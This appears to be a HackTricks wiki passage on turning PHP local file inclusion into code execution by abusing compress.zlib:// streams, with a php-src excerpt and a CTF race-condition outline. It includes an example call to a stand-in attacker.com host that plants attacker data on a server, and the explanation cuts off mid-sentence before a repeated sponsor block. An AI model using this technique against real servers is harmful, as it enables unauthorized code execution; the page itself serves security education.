# LFI2RCE Via compress.zlib + PHP\_STREAM\_PREFER\_STUDIO + Path Disclosure
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#### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
You can check their website and try their engine for **free** at:
{% embed url="https://whiteintel.io" %}
***
### `compress.zlib://` and `PHP_STREAM_PREFER_STDIO`
A file opened using the protocol `compress.zlib://` with the flag `PHP_STREAM_PREFER_STDIO` can continue writing data that arrives to the connection later to the same file.
This means that a call such as:
```php
file_get_contents("compress.zlib://http://attacker.com/file")
```
Will send a request asking for http://attacker.com/file, then the server might respond the request with a valid HTTP response, keep the connection open, and send extra data some time later that will be also written into the file.
You can see that info in this part of the php-src code in main/streams/cast.c:
```c
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
```
### Race Condition to RCE
[**This CTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) was solved using the previous trick.
The attacker will make the **victim server open a connection reading a file from the attackers server** using the **`compress.zlib`** protocol.
**While** this **connection** exist the attacker will **exfiltrate the path** to the temp file created (it's leaked by the server).
**While** the **connection** is still open, the attacker will **exploit a LFI loading the temp file** that he controls.
However, there is a check in the web server that **prevents loading files that contains `
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
You can check their website and try their engine for **free** at:
{% embed url="https://whiteintel.io" %}
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Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
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Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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